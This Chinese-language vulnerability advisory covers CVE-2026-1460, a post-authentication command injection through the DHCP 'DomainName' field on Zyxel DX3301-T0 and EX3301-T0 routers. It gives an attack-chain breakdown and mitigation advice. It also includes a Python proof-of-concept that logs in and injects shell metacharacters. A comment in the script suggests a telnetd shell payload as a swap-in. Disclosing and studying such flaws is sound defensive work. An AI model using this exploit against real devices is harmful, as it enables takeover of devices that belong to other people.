IPBUF安全漏洞报告
English
CVE-2026-1460 CVSS 7.2 高危

CVE-2026-1460 Zyxel设备命令注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-1460
漏洞类型
命令注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Zyxel DX3301-T0, Zyxel EX3301-T0

相关标签

命令注入RCEZyxelIoTCPEPost-Auth

漏洞概述

该漏洞存在于Zyxel DX3301-T0和EX3301-T0设备的固件中,具体涉及DHCP配置文件的“DomainName”参数。由于该参数在处理用户输入时缺乏严格的过滤,导致存在身份验证后的命令注入漏洞。攻击者必须拥有管理员权限并已登录系统,才能利用此漏洞。成功利用后,攻击者可以在受影响的设备上执行任意操作系统命令,从而完全控制设备,造成数据泄露、系统篡改或服务中断等严重后果。

技术细节

该漏洞属于典型的命令注入漏洞,根本原因在于应用程序未能正确区分数据与代码。在Zyxel设备的DHCP配置功能中,当管理员提交包含“DomainName”参数的配置请求时,后端系统直接将该参数的值拼接到了系统执行的命令字符串中,而未经过严格的输入验证或转义处理。由于漏洞位于身份验证之后,利用门槛相对较高,攻击者首先需要通过网络钓鱼、密码撞库或利用其他漏洞获取管理员账号的凭证。一旦获得管理员权限,攻击者可以构造恶意的HTTP POST请求,向“DomainName”字段注入特定的Shell元字符(如分号、反引号或管道符)。当设备接收到此请求并尝试应用DHCP配置时,操作系统会解析拼接后的恶意命令并执行。由于服务通常以Root权限运行,攻击者注入的命令将以最高权限运行,允许攻击者反弹Shell、读取敏感文件、安装后门或修改防火墙规则,从而实现对设备的完全控制。

攻击链分析

STEP 1
侦察
攻击者识别目标网络中的Zyxel DX3301-T0或EX3301-T0设备,并确认其运行的是存在漏洞的固件版本。
STEP 2
获取访问权限
攻击者利用弱口令、凭证泄露或其他漏洞获取设备的管理员账号和密码,完成身份验证。
STEP 3
漏洞利用
攻击者向DHCP配置接口发送特制的POST请求,在“DomainName”参数中注入恶意的Shell命令。
STEP 4
命令执行
设备后端系统处理配置请求时,将恶意参数拼接到系统命令中并执行,从而接管操作系统。
STEP 5
达成目标
攻击者执行后续恶意操作,如安装后门、窃取配置数据或发动横向攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-1460 PoC: Zyxel Command Injection via DHCP DomainName # Requires administrator credentials. TARGET_IP = "192.168.1.1" USERNAME = "admin" PASSWORD = "password" def exploit(): session = requests.Session() # 1. Login to get session cookie login_url = f"http://{TARGET_IP}/login" login_data = { "username": USERNAME, "password": PASSWORD } print(f"[*] Attempting login to {TARGET_IP}...") try: r = session.post(login_url, data=login_data, timeout=10) if "login" in r.text.lower() and r.status_code != 200: print("[-] Login failed. Check credentials.") return except Exception as e: print(f"[-] Connection error: {e}") return print("[+] Login successful.") # 2. Send payload to DHCP configuration endpoint # Note: The exact endpoint path might vary based on firmware version. # Common Zyxel API structure used here. dhcp_url = f"http://{TARGET_IP}/api/cfg/dhcp" # Payload: Touch a file to prove command execution (PoC) # Can be replaced with: ; telnetd -p 1337 -l /bin/sh for a reverse shell payload = "lan; touch /tmp/pwned; #" headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # JSON payload structure (adjust keys based on actual API behavior) exploit_data = { "DomainName": payload, "action": "apply" } print(f"[*] Sending payload to {dhcp_url}...") try: r = session.post(dhcp_url, json=exploit_data, headers=headers, timeout=10) print(f"[+] Response status: {r.status_code}") print("[*] Check if /tmp/pwned exists on the device.") except Exception as e: print(f"[-] Exploit request failed: {e}") if __name__ == "__main__": exploit()

影响范围

Zyxel DX3301-T0 <= 5.50(ABVY.7.1)C0
Zyxel EX3301-T0 <= 5.50(ABVY.7.1)C0

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议用户严格限制对设备管理界面的网络访问,仅允许管理员IP连接。同时,应加强对管理员账号的保护,防止凭证被盗。此外,可通过网络监控设备检测异常出站连接,以便及时发现可能的利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表